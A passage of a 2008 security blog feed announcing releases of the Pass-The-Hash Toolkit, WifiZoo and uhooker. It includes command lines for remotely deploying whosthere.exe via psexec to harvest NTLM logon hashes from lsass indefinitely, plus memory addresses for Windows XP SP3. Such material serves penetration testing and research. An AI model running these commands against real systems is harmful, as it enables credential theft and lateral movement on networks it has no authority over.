reason why the new version of whosthere.exe has a new -a switch that allows you to use specify these addresses without having to recompile the tool.&lt;br /&gt;&lt;br /&gt;This new version is going to be released soon, but if you want it right now, email me (please, try to email me if you REALLY need it :)).&lt;br /&gt;&lt;br /&gt;I haven't tested iam/iam-alt but the same thing observed with whosthere/whosthere-alt should apply to these tools.&lt;br /&gt;&lt;br /&gt;In case you were wondering, the new addresses you need for Windows XP SP3 English are:&lt;br /&gt;&lt;br /&gt;whosthere -a 75753BA0:7573FDEC:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;(remember that whosthere-alt.exe works as it is on Windows XP SP3)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7576725678835314934?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/7576725678835314934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=7576725678835314934&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7576725678835314934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7576725678835314934'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/06/windows-xp-sp3-and-pass-hash-toolkit-it.html' title='Windows XP SP3 and Pass-The-Hash Toolkit: it Works!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2739170574848337349</id><published>2008-06-12T09:58:00.002-03:00</published><updated>2008-06-12T10:01:14.923-03:00</updated><title type='text'>New features for pass-the-hash toolkit</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;I'm in the process of adding new features to the "pass-the-hash toolkit". This means I've found time to do it :), so.. If you have any ideas for new features/bugs that need to be addressed, please let me know.&lt;br /&gt;&lt;br /&gt;I'm currently adding:&lt;br /&gt;&lt;br /&gt;-better support for Windows Vista&lt;br /&gt;-feature to specifiy addresses (such as the ones obtained via passthehash.idc) to whosthere and iam without having to recompile the tools&lt;br /&gt;&lt;br /&gt;If you have any comments, please leave them here as comments to this blog post or&lt;br /&gt;here:&lt;br /&gt;&lt;br /&gt;http://www.hexale.org/forums/topic.php?id=3&lt;br /&gt;&lt;br /&gt;Thanks!,&lt;br /&gt;Hernan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2739170574848337349?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/2739170574848337349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=2739170574848337349&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2739170574848337349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2739170574848337349'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/06/new-features-for-pass-hash-toolkit.html' title='New features for pass-the-hash toolkit'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3279517637922680553</id><published>2008-06-04T11:58:00.002-03:00</published><updated>2008-06-04T12:02:05.954-03:00</updated><title type='text'>Hexale forums</title><content type='html'>Ok, so I finally set up a web site to put all my stuff on, checkout&lt;br /&gt;&lt;br /&gt;www.hexale.org&lt;br /&gt;&lt;br /&gt;well.. right now is empty :) but one thing I did installed is the forums&lt;br /&gt;section, check out&lt;br /&gt;&lt;br /&gt;www.hexale.org/forums/&lt;br /&gt;&lt;br /&gt;There's a forum for each of the tools I have publicly released so far. Some&lt;br /&gt;people have requested such a thing in the past, so here you go, I hope you&lt;br /&gt;find it useful.&lt;br /&gt;&lt;br /&gt;If there's another forum you'd like to see, please let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3279517637922680553?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3279517637922680553/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3279517637922680553&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3279517637922680553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3279517637922680553'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/06/hexale-forums.html' title='Hexale forums'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1136259655204591450</id><published>2008-06-04T00:24:00.001-03:00</published><updated>2008-06-04T00:24:58.832-03:00</updated><title type='text'>-t switch added to whosthere and whosthere-alt</title><content type='html'>Just wanted to let you know that I've added a -t switch both to whosthere and whosthere-alt&lt;br /&gt;&lt;br /&gt;the -t switch sets the time interval used by the -i option (the option that waits indefinitely trying to capture new hashes)&lt;br /&gt;before, the time interval was 2 seconds, now this can be set at will using the new -t switch&lt;br /&gt;&lt;br /&gt;for example:&lt;br /&gt;&lt;br /&gt;whosthere.exe -i -t 20&lt;br /&gt;will attempt to gather new hashes every 20 seconds&lt;br /&gt;&lt;br /&gt;whosthere-alt.exe -i -t 0.5&lt;br /&gt;will attempt to gather new hashes every 0.5 seconds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This feature will be available on the next release, but if you really need it, just send me an email and I'll send you the new version with this feature included.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1136259655204591450?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1136259655204591450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1136259655204591450&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1136259655204591450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1136259655204591450'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/06/t-switch-added-to-whosthere-and.html' title='-t switch added to whosthere and whosthere-alt'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7352026949655651885</id><published>2008-05-22T17:34:00.003-03:00</published><updated>2008-05-22T18:02:58.303-03:00</updated><title type='text'>Comment on article about 'vm attacks' at www.eusecwest.com</title><content type='html'>I was reading the following story:&lt;br /&gt;&lt;br /&gt;http://www.eusecwest.com/justin-ferguson-interpreter-vm-attacks.html&lt;br /&gt;&lt;br /&gt;I'll keep my subjective opinion about the article to myself and will focus on the following:&lt;br /&gt;&lt;br /&gt;I think that the use of the function 'sys._getframe()' mentioned in the article as a way to 'obtain a heap address' is 'misleading' .&lt;br /&gt;&lt;br /&gt;Python gives away memory addresses all the time, there's no need to call a 'weird' function (sys._getframe() is not weird anyways):&lt;br /&gt;&lt;br /&gt;(from http://shell.appspot.com/, but applicable to any python deployment):&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; a = 'mythbusters'&lt;br /&gt;&gt;&gt;&gt; id(a)&lt;br /&gt;6912173043421908880&lt;br /&gt;&gt;&gt;&gt; hex(id(a))&lt;br /&gt;0xe81da54d11f45f88L'&lt;br /&gt;&gt;&gt; sys._getframe()&lt;br /&gt;frame object at 0xe81da54d1ff6afc8&lt;br /&gt;&lt;br /&gt;both addresses are clearly in the same 'range', so I can infer they 'refer' to the same 'thing', if the 'thing' is the 'heap', then both methods 'leak' a heap address,&lt;br /&gt;or more importantly, they 'leak' the same 'thing' :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;(on a windows machine)&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; class a:&lt;br /&gt;...     def test(self):&lt;br /&gt;...             print 'hola'&lt;br /&gt;...&lt;br /&gt;&gt;&gt;&gt; j = a()&lt;br /&gt;&gt;&gt;&gt; j&lt;br /&gt;__main__.a instance at 0x004AF0F8  &lt;br /&gt;&gt;&gt;&gt; sys._getframe()&lt;br /&gt;frame object at 0x00475960&lt;br /&gt;&lt;br /&gt;and finally (done at from http://shell.appspot.com/)&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; import os&lt;br /&gt;&gt;&gt;&gt; os.uname()&lt;br /&gt;('Linux', '', '', '', '')&lt;br /&gt;&lt;br /&gt;If you think I'm wrong, please comment!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7352026949655651885?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/7352026949655651885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=7352026949655651885&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7352026949655651885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7352026949655651885'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/05/comment-on-article-about-vm-attacks-at.html' title='Comment on article about &apos;vm attacks&apos; at www.eusecwest.com'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1890439533496610806</id><published>2008-05-08T16:45:00.002-03:00</published><updated>2008-05-08T16:53:22.952-03:00</updated><title type='text'>Using whosthere.exe with psexec</title><content type='html'>Ok, a few days ago I received the following question and I have been asked the same thing before so here it goes:&lt;br /&gt;&lt;br /&gt;The question, more or less, is:&lt;br /&gt;&lt;br /&gt;How do you run whosthere.exe into a remote machine using psexec dettached from any console and leave it running there collecting hashes? &lt;br /&gt;&lt;br /&gt;the answer is:&lt;br /&gt;&lt;br /&gt;psexec \\&lt;server_ip_address&gt; -d -c whosthere.exe -o myhashes.log -i&lt;br /&gt;&lt;br /&gt;psexec's -d switch basically makes it run whosthere.exe and exit.&lt;br /&gt;whosthere's -o switch specifies the name of the file containing the list of unique credentials collected.&lt;br /&gt;and the -i switch makes whosthere.exe run in an infinte loop looking for new&lt;br /&gt;logon credentials and storing them on the file specified by the -o switch.&lt;br /&gt;&lt;br /&gt;Remember, of course, you will probably need to specify the -u and -p switch to psexec, or you can do from your machine something like&lt;br /&gt;&lt;br /&gt;net use \\&lt;server_ip_address&gt;\ipc$ * /u:user password&lt;br /&gt;&lt;br /&gt;and then run psexec.&lt;br /&gt;&lt;br /&gt;Also remember, that if you want to use whosthere-alt.exe, you can't use psexec's -c switch (I think), because whosthere-alt.exe also requires the pth.dll, so you will probably need to copy whosthere-alt.exe and pth.dll to the target machine and then run psexec without the -c switch and specifying the path where whosthere-alt.exe and pth.dll are located.&lt;br /&gt;&lt;br /&gt;Hope it helps!.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1890439533496610806?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1890439533496610806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1890439533496610806&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1890439533496610806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1890439533496610806'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/05/using-whosthereexe-with-psexec.html' title='Using whosthere.exe with psexec'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8773212380320677147</id><published>2008-02-29T16:21:00.001-02:00</published><updated>2008-02-29T16:22:48.294-02:00</updated><title type='text'>Release: Pass-The-Hash toolkit v1.3</title><content type='html'>SOURCE CODE:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3-src.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3-src.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;BINARIES:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;DOCUMENTATION:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;WHATSNEW:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pass-The-Hash Toolkit 1.3 by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com)&lt;br /&gt;=====================================================================================&lt;br /&gt;&lt;br /&gt;What's new?:&lt;br /&gt;&lt;br /&gt;* PASSTHEHASH.IDC: This .IDC IDA Pro script can be used to obtain the addresses&lt;br /&gt;iam and whosthere need to obtain/modify logon session credentials. Load LSASRV.DLL&lt;br /&gt;into IDA Pro (make sure to import the symbols) and run the script to get the&lt;br /&gt;addresses you need to add to the source code to add support for the LSASRV.DLL version&lt;br /&gt;you have, in case it is not supported yet.&lt;br /&gt;If you use the script, please send me the addresses so I can include them in&lt;br /&gt;the next version of the toolkit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* IAM-ALT and WHOSTHERE-ALT: two new tools written from scratch that do the&lt;br /&gt;same thing that IAM and WHOSTHERE do but using a slightly different technique,&lt;br /&gt;aiming at making the tool work on more systems without requiring users to&lt;br /&gt;modify the source code of iam/whosthere (or wait for the next version:)). &lt;br /&gt;&lt;br /&gt;The good thing about this 'alt' version of the iam/whosthere tools is that &lt;br /&gt;they SHOULD work on more windows versions without modifications. &lt;br /&gt;The 'bad' thing is that both tools need to execute code inside lsass.exe.&lt;br /&gt;The tools basically use the functions MSV1_0.DLL!NlpDeletePrimaryCredential,&lt;br /&gt;MSV1_0.DLL!NlpAddPrimaryCredential, and MSV1_0.DLL!NlpGetPrimaryCredential;&lt;br /&gt;these are the functions gsecdump uses (if I'm not mistaken).&lt;br /&gt;The current heuristics used to find the functions inside MSV1_0.DLL is horrible&lt;br /&gt;but it works.&lt;br /&gt;&lt;br /&gt;whosthere uses a method tha allows it to obtain credentials just by&lt;br /&gt;reading memory, without executing any code. iam does not, but just&lt;br /&gt;because I'm lazy, it will do it eventually, the downside to this approach&lt;br /&gt;is that although it does use heuristics to verify hardcoded addresses, it&lt;br /&gt;does have hardcoded addresses anyways.And that's why to help solve this issue&lt;br /&gt;but at the same time maintain the possiblity of obtaining credentials&lt;br /&gt;without executing code inside lsass.exe, I created the passthehash.idc&lt;br /&gt;script. If you don't care about executing code inside lsass.exe, use&lt;br /&gt;whosthere-alt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*iam/whosthere: Added support for more windows versions. including different languages.&lt;br /&gt;&lt;br /&gt;*iam/iam-alt: new syntax. now you have to use -h to specify the credentials.&lt;br /&gt;&lt;br /&gt;*whosthere/whosthere-alt: new -o switch to dump credentials to a file&lt;br /&gt;&lt;br /&gt;*whosthere/whosthere-alt: new -i switch that will make whosthere/whosthere-alt&lt;br /&gt;display current logon credentials found in memory and then wait forever for&lt;br /&gt;new logon sessions and display only those new sessions. you can use this switch&lt;br /&gt;together with the -o switch to dump credentials found to a file. Now you can leave the&lt;br /&gt;tool running and it will log all unique interactive logon sessions created, it makes&lt;br /&gt;easier the job of waiting for the administrator to log into the compromised&lt;br /&gt;machine where whosthere/whosthere-alt is running. Thanks to heathengod for the&lt;br /&gt;idea of this feature.&lt;br /&gt;&lt;br /&gt;*several bugfixes and stuff&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8773212380320677147?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8773212380320677147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8773212380320677147&amp;isPopup=true' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8773212380320677147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8773212380320677147'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/02/release-pass-hash-toolkit-v13.html' title='Release: Pass-The-Hash toolkit v1.3'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8565907915462984943</id><published>2008-01-21T14:42:00.000-02:00</published><updated>2008-01-21T14:43:52.284-02:00</updated><title type='text'>Pass-The-Hash Toolkit v1.2 released.</title><content type='html'>Pass-The-Hash Toolkit v1.2 is available.&lt;br /&gt;&lt;br /&gt;What is Pass-The-Hash Toolkit? &lt;br /&gt;&lt;br /&gt;The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services), and also change in runtime the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH on Windows!).&lt;br /&gt;&lt;br /&gt;Direct download links:&lt;br /&gt;source code:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.2/pshtoolkit_v1.2_src.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.2/pshtoolkit_v1.2_src.tgz&lt;/a&gt;&lt;br /&gt;binaries:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.2/pshtoolkit_v1.2.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.2/pshtoolkit_v1.2.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;More info:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;what's new:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.2/WHATSNEW"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.2/WHATSNEW&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8565907915462984943?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8565907915462984943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8565907915462984943&amp;isPopup=true' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8565907915462984943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8565907915462984943'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/01/pass-hash-toolkit-v12-released.html' title='Pass-The-Hash Toolkit v1.2 released.'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8162575048600342382</id><published>2008-01-21T10:31:00.001-02:00</published><updated>2008-01-21T10:37:49.402-02:00</updated><title type='text'>WifiZoo v1.3 released!</title><content type='html'>Hi!,&lt;br /&gt;&lt;br /&gt;I have just released WifiZoo v1.3.&lt;br /&gt;This is a minor release addressing minor but annoying things people kept poking me about. &lt;br /&gt;I promise a more substantial release soon :).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/WHATSNEW_v1.3.txt"&gt;What's new?&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direct download link:&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.3.tgz"&gt;WifiZoo v1.3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Info about WifiZoo:&lt;br /&gt;&lt;a href="http://community.corest.com/~hochoa/wifizoo/index.html"&gt;WifiZoo Info&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8162575048600342382?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8162575048600342382/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8162575048600342382&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8162575048600342382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8162575048600342382'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/01/wifizoo-v13-released.html' title='WifiZoo v1.3 released!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5454893622564379574</id><published>2008-01-18T07:30:00.000-02:00</published><updated>2008-01-18T07:35:56.342-02:00</updated><title type='text'>New version of Pass-The-Hash Toolkit about to be released!</title><content type='html'>Hi!,&lt;br /&gt;&lt;br /&gt;I'm about to release a new version of Pass-The-Hash Toolkit. I can't remember all the things fixed and things that changed, but they are on a file somewhere :), some of them include:&lt;br /&gt;&lt;br /&gt;* The elimination of the "-B" switch, now the tool does what it has to do without requiring anything from you&lt;br /&gt;* the output from whosthere.exe is now shorter and the format credentials are presented can now be directly used with l0phtcrack or anything like that (although, doing so kind of goes against the very nature of the iam.exe tool :), but it's ok, for some scenarios you want to know the plaintext password). &lt;br /&gt;* All the extra info displayed by whosthere.exe before is still available via the -D switch (D as in debug info :)).&lt;br /&gt;* Added support for several windows versions and languages&lt;br /&gt;&lt;br /&gt;So, before I release the next version, it would be great if you can send me an email to hernan@gmail.com with errors you might have found and want fixed, ideas for new features, etc. please, write! :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5454893622564379574?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5454893622564379574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5454893622564379574&amp;isPopup=true' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5454893622564379574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5454893622564379574'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/01/new-version-of-pass-hash-toolkit-about.html' title='New version of Pass-The-Hash Toolkit about to be released!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5624800254147658518</id><published>2007-12-17T10:31:00.000-03:00</published><updated>2007-12-17T10:33:19.195-03:00</updated><title type='text'>Release uhooker v1.3</title><content type='html'>What's uhooker?:&lt;br /&gt;&lt;br /&gt;A tool to intercept and manipulate execution of programs. It enables the user to insert hooks in function calls and arbitrary addresses within the executable file in memory. The hooks handlers are written in Python and can be changed at runtime without the need to restart the inspected process.&lt;br /&gt;&lt;br /&gt;Download:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/release/1.3/uhooker_v1.3.tgz"&gt;http://oss.coresecurity.com/uhooker/release/1.3/uhooker_v1.3.tgz&lt;/a&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/release/1.3/uhooker_v1.3.zip"&gt;http://oss.coresecurity.com/uhooker/release/1.3/uhooker_v1.3.zip&lt;/a&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;more info:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/uhooker.htm"&gt;http://oss.coresecurity.com/projects/uhooker.htm&lt;/a&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/index.html"&gt;http://oss.coresecurity.com/uhooker/doc/index.html&lt;/a&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Some Videos:&lt;br /&gt;&lt;br /&gt;&lt;a href ="http://oss.coresecurity.com/uhooker/doc/uhooker_changeconnect.wmv"&gt;http://oss.coresecurity.com/uhooker/doc/uhooker_changeconnect.wmv&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex.wmv"&gt;http://oss.coresecurity.com/uhooker/doc/uhooker_sendhex.wmv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What's new in uhooker v1.3?&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;-Several bug fixes, everything should work better than before :)&lt;br /&gt;&lt;br /&gt;-Fixed bug with readunicode() API where reading empty multibyte strings,&lt;br /&gt;resulted in the plugin freezing for ever.&lt;br /&gt;&lt;br /&gt;-Now you can load multiple .CFG files (load one, then load another to hook&lt;br /&gt;something else, etc). Previously, you were only allowed to load one .CFG file&lt;br /&gt;with breakpoints/handlers definitions. Now you can load as many as you like&lt;br /&gt;whenever you want.&lt;br /&gt;&lt;br /&gt; -If a .CFG file overlaps previously set hooks, you have the chance&lt;br /&gt; to redefine them (for example, you can dinamically change the&lt;br /&gt;        file/function handling the breakpoint. This adds to the feature&lt;br /&gt;        present since the first version of uhooker that allows runtime rewriting&lt;br /&gt;        of the handler's code).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-Errors in the code of the handlers (written in python) are now correctly handled.&lt;br /&gt;  &lt;br /&gt;  -Previously, if you had an error in the code you wrote to handle&lt;br /&gt;  certain breakpoint, this caused the 'uhooker's python server' to&lt;br /&gt;   'crash', and you needed to restart your debugging session all over&lt;br /&gt;  again.&lt;br /&gt;&lt;br /&gt;  This scenario was very common, particuarly if you were developing&lt;br /&gt;  your own handler/script for the first time, or if you were&lt;br /&gt;  modifying at runtime the code of a handler/script.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Well, no more! :), Now if you have an error (syntax error,&lt;br /&gt;  identation error, general programming error,etc), the error that&lt;br /&gt;  your handler has will be displayed on the uhooker's console, and&lt;br /&gt;  you'll be able to recover from that error. This improvement means:&lt;br /&gt;&lt;br /&gt;    1-If an error occurs on the code, you don't &lt;br /&gt;    need to restart the debugger's session (and lose&lt;br /&gt;    the state of the program, etc.). &lt;br /&gt;&lt;br /&gt;    